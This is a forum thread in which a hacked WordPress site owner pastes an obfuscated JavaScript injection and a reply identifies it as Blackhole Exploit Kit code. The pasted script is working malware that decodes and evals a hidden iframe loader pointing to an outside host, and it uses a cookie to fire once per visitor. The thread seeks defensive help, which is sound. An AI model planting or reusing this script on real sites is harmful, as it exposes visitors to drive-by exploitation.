My wordpress site was hacked, anyone tell what thi

Question

So I know the site was hacked. Strangely, when I visit the site, and look at the source code, sometime this shows up. Sometimes it isn't there. That makes me worried that this is going to be hard to get rid of. But here is the code. Can anyone give me some insight? Thank you.

var a=!1;oq = "\x6C\x6F\x6E\x6C\x79";if(!document.cookie.match(oq)){if(window.document)try{location(12);}catch(qqq){zz='eval';ss=[];aa=[]+0;aaa=0+[];if(aa.indexOf(aaa)===0){f='fromChar';f+='Code';}ee='e';e=window[zz];t='y';}h=Math.atan2(3,0)/Math.PI*-4;n="3.5a3.5a51.5a50a15a19a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a19.5a60.5a5.5a3.5a3.5a3.5a51.5a50a56a47.5a53.5a49.5a56a19a19.5a28.5a5.5a3.5a3.5a61.5a15a49.5a53a56.5a49.5a15a60.5a5.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a58.5a56a51.5a57a49.5a19a16a29a51.5a50a56a47.5a53.5a49.5a15a56.5a56a48.5a29.5a18.5a51a57a57a55a28a22.5a22.5a55a56a49.5a48.5a51.5a54.5a57.5a56.5a22a48.5a51a22a50.5a50.5a22.5a51.5a54a22a48.5a50.5a51.5a30.5a24a18.5a15a58.5a51.5a49a57a51a29.5a18.5a23.5a23a18.5a15a51a49.5a51.5a50.5a51a57a29.5a18.5a23.5a23a18.5a15a56.5a57a59.5a53a49.5a29.5a18.5a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a28a51a51.5a49a49a49.5a54a28.5a55a54.5a56.5a51.5a57a51.5a54.5a54a28a47.5a48a56.5a54.5a53a57.5a57a49.5a28.5a53a49.5a50a57a28a23a28.5a57a54.5a55a28a23a28.5a18.5a30a29a22.5a51.5a50a56a47.5a53.5a49.5a30a16a19.5a28.5a5.5a3.5a3.5a61.5a5.5a3.5a3.5a50a57.5a54a48.5a57a51.5a54.5a54a15a51.5a50a56a47.5a53.5a49.5a56a19a19.5a60.5a5.5a3.5a3.5a3.5a58a47.5a56a15a50a15a29.5a15a49a54.5a48.5a57.5a53.5a49.5a54a57a22a48.5a56a49.5a47.5a57a49.5a33.5a53a49.5a53.5a49.5a54a57a19a18.5a51.5a50a56a47.5a53.5a49.5a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a56.5a56a48.5a18.5a21a18.5a51a57a57a55a28a22.5a22.5a55a56a49.5a48.5a51.5a54.5a57.5a56.5a22a48.5a51a22a50.5a50.5a22.5a51.5a54a22a48.5a50.5a51.5a30.5a24a18.5a19.5a28.5a50a22a56.5a57a59.5a53a49.5a22a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a29.5a18.5a51a51.5a49a49a49.5a54a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a55a54.5a56.5a51.5a57a51.5a54.5a54a29.5a18.5a47.5a48a56.5a54.5a53a57.5a57a49.5a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a53a49.5a50a57a29.5a18.5a23a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a57a54.5a55a29.5a18.5a23a18.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a58.5a51.5a49a57a51a18.5a21a18.5a23.5a23a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a51a49.5a51.5a50.5a51a57a18.5a21a18.5a23.5a23a18.5a19.5a28.5a5.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a22a47.5a55a55a49.5a54a49a32.5a51a51.5a53a49a19a50a19.5a28.5a5.5a3.5a3.5a61.5".split("a");for(i=0;i<569;i++){j=i;ss=ss+String[f](-h*(2-1+1*n[j]));}if(1)q=ss;if(zz)e(q);ic=new Date;ic.setTime(ic.getTime());bh=new Date(ic.getTime()+72E6);document.cookie=oq+"="+escape(bh.toGMTString())+";expires="+bh.toGMTString()+";path=/";};

Answer 1

Well, that looks like the code for the Blackhole Exploit Kit.

http://www.google.com/support/forum/p/Webmasters/thread?tid=3dd6eae1371cf604&hl=en

As linked by matthewk above, What is the purpose of this JavaScript hack? describes how the code works. You might also want to read this: http://blog.imperva.com/2011/12/deconstructing-the-black-hole-exploit-kit.html